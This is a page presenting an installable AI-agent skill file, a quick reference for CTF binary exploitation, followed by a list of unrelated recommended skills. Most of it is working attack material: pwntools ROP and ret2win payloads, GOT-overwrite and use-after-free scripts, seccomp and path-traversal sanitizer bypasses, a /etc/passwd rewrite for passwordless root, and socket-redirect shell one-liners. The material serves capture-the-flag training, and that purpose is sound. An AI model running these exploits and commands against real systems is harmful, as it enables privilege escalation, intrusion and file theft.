Agent skill
ctf-pwn
Binary exploitation (pwn) techniques for CTF challenges. Use when exploiting buffer overflows, format strings, heap vulnerabilities, race conditions, or kernel bugs.
Install this agent skill to your Project
npx add-skill https://github.com/majiayu000/claude-skill-registry/tree/main/skills/data/ctf-pwn
SKILL.md
CTF Binary Exploitation (Pwn)
Quick reference for pwn challenges. For detailed techniques, see supporting files.
Additional Resources
- format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
- advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)
Source Code Red Flags
- Threading/
pthread→ race conditions usleep()/sleep()→ timing windows- Global variables in multiple threads → TOCTOU
Race Condition Exploitation
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'
Common Vulnerabilities
- Buffer overflow:
gets(),scanf("%s"),strcpy() - Format string:
printf(user_input) - Integer overflow, UAF, race conditions
Kernel Exploitation
- Look for vulnerable
lseekhandlers allowing OOB read/write - Heap grooming with forked processes
- SUID binary exploitation via kernel-to-userland buffer overflow
- Check kernel config for disabled protections:
CONFIG_SLAB_FREELIST_RANDOM=n→ sequential heap chunksCONFIG_SLAB_MERGE_DEFAULT=n→ predictable allocations
FUSE/CUSE Character Device Exploitation
FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
- Look for
cuse_lowlevel_main()orfuse_main()calls - Device operations struct with
open,read,writehandlers - Device name registered via
DEVNAME=backdooror similar
Common vulnerability patterns:
// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode)); // Arbitrary chmod!
}
}
Exploitation:
# Change /etc/passwd permissions via custom device
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
# 511 decimal = 0777 octal (rwx for all)
# Now modify passwd to get root
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root
Privilege escalation via passwd modification:
- Make
/etc/passwdwritable via the backdoor - Replace root line with
root::0:0:root:/root:/bin/sh(no password) su rootwithout password prompt
Busybox/Restricted Shell Escalation
When in restricted environment without sudo:
- Find writable paths via character devices
- Target system files:
/etc/passwd,/etc/shadow,/etc/sudoers - Modify permissions then content to gain root
Protection Implications for Exploit Strategy
| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
- Full RELRO → target
__free_hook,__malloc_hook(glibc < 2.34), or return addresses - Stack canary present → prefer heap-based attacks or leak canary first
Stack Buffer Overflow
- Find offset to return address:
cyclic 200thencyclic -l <value> - Check protections:
checksec --file=binary - No PIE + No canary = direct ROP
- Canary leak via format string or partial overwrite
ret2win with Parameter (Magic Value Check)
Pattern: Win function checks argument against magic value before printing flag.
// Common pattern in disassembly
void win(long arg) {
if (arg == 0x1337c0decafebeef) { // Magic check
// Open and print flag
}
}
Exploitation (x86-64):
from pwn import *
# Find gadgets
pop_rdi_ret = 0x40150b # pop rdi; ret
ret = 0x40101a # ret (for stack alignment)
win_func = 0x4013ac
magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120 bytes to reach return address
payload = b"A" * offset
payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)
Finding the win function:
- Search for
fopen("flag.txt")or similar in Ghidra - Look for functions with no XREF that check a magic parameter
- Check for conditional print/exit patterns after parameter comparison
Stack Alignment (16-byte Requirement)
Modern Ubuntu/glibc requires 16-byte stack alignment before call instructions. Symptoms of misalignment:
- SIGSEGV in
movapsinstruction (SSE requires alignment) - Crash inside libc functions (printf, system, etc.)
Fix: Add extra ret gadget before your ROP chain:
payload = b"A" * offset
payload += p64(ret) # Align stack to 16 bytes
payload += p64(pop_rdi_ret)
# ... rest of chain
Offset Calculation from Disassembly
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
...
lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
mov $0xf0,%edx ; read() size = 240 (overflow!)
Calculate offset:
- Buffer starts at
rbp - buffer_offset(e.g., rbp-0x70) - Saved RBP is at
rbp(0 offset from buffer end) - Return address is at
rbp + 8 - Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
Input Filtering (memmem checks)
Some challenges filter input using memmem() to block certain strings:
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload
Finding Gadgets
# Find pop rdi; ret
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"
# Find simple ret (for alignment)
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
Struct Pointer Overwrite (Heap Menu Challenges)
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
struct Student {
char name[36]; // offset 0x00 - data buffer
int *grade_ptr; // offset 0x24 - pointer to separate allocation
float gpa; // offset 0x28
}; // total: 0x2c (44 bytes)
Exploitation:
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c # printf@GOT
# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)
# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
modify_name(0, payload)
# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
# 4. Trigger overwritten function -> jumps to win
GOT target selection strategy:
- Identify which libc functions the
winfunction calls internally - Do NOT overwrite GOT entries for functions used by
win(causes infinite recursion/crash) - Prefer functions called in the main loop AFTER the write
| Win uses | Safe GOT targets |
|---|---|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
ROP Chain Building
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# Common gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Leak libc
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
Pwntools Template
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()
# exploit here
io.interactive()
Useful Commands
one_gadget libc.so.6 # Find one-shot gadgets
ropper -f binary # Find ROP gadgets
ROPgadget --binary binary # Alternative gadget finder
seccomp-tools dump ./binary # Check seccomp rules
Use-After-Free (UAF) Exploitation
Pattern: Menu-based programs with create/delete/view operations where free() doesn't NULL the pointer.
Classic UAF flow:
- Create object A (allocates chunk with function pointer)
- Leak address via inspect/view (bypass PIE)
- Free object A (creates dangling pointer)
- Allocate object B of same size (reuses freed chunk via tcache)
- Object B data overwrites A's function pointer with
win()address - Trigger A's callback → jumps to
win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
# UAP Watch pattern
create_report("sighting-0") # 64-byte struct with callback ptr at +56
leak = inspect_report(0) # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0) # Free chunk, dangling pointer remains
# Allocate same-size struct, overwriting callback
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0) # Calls dangling pointer → win()
Seccomp Bypass
Alternative syscalls when seccomp blocks open()/read():
openat()(257),openat2()(437, often missed!),sendfile()(40),readv()/writev()
Check rules: seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.
Stack Shellcode with Input Reversal
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
- Leak address via info-leak command (bypass PIE)
- Find
sub rsp, 0x10; jmp *%rspgadget - Pre-reverse shellcode and RIP overwrite bytes
- Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
- Place trampoline (
jmp short) to hop back into NOP sled + shellcode
Null-byte avoidance with scanf("%s"):
- Can't embed
\x00in payload - Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
- Use short jumps and NOP sleds instead of multi-address ROP chains
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
# Sanitizer removes '.' and '/' but skips next char after match
# ../../etc/passwd → bypass with doubled chars:
"....//....//etc//passwd"
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
Flag via /proc/self/fd/N:
- If binary opens flag file but doesn't close fd, read via
/proc/self/fd/3 - fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- Identify global array adjacent to filename pointer in memory
- Overflow array bounds by injecting extra delimiters (commas in CSV)
- Overflowed pointer lands on filename variable
- Change filename to
flag.txt, then trigger read operation
# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save() # CSV row now has 11 columns
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load() # Now reads flag.txt into spreadsheet
print_spreadsheet() # Shows flag
Shell Tricks
File descriptor redirection (no reverse shell needed):
# Redirect stdin/stdout to client socket (fd 3 common for network)
exec <&3; sh >&3 2>&3
# Or as single command string
exec<&3;sh>&3
- Network servers often have client connection on fd 3
- Avoids firewall issues with outbound connections
- Works when you have command exec but limited chars
Find correct fd:
ls -la /proc/self/fd # List open file descriptors
Short shellcode alternatives:
sh<&3 >&3- minimal shell redirect- Use
$0instead ofshin some shells
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
agent-ops-spec
Manage specification documents in .agent/specs/. Use when user provides requirements, acceptance criteria, or feature descriptions that need to be tracked and validated against implementation.
agent-ops-state
Maintain .agent state files. Use at session start, after meaningful steps, and before concluding: read/update constitution/memory/focus/issues/baseline consistently.
agent-ops-spec
Manage specification documents in .agent/specs/. Use when user provides requirements, acceptance criteria, or feature descriptions that need to be tracked and validated against implementation.
agent-ops-testing
Test strategy, execution, and coverage analysis. Use when designing tests, running test suites, or analyzing test results beyond baseline checks.
agent-ops-testing
Test strategy, execution, and coverage analysis. Use when designing tests, running test suites, or analyzing test results beyond baseline checks.
agent-ops-state
Maintain .agent state files. Use at session start, after meaningful steps, and before concluding: read/update constitution/memory/focus/issues/baseline consistently.
Didn't find tool you were looking for?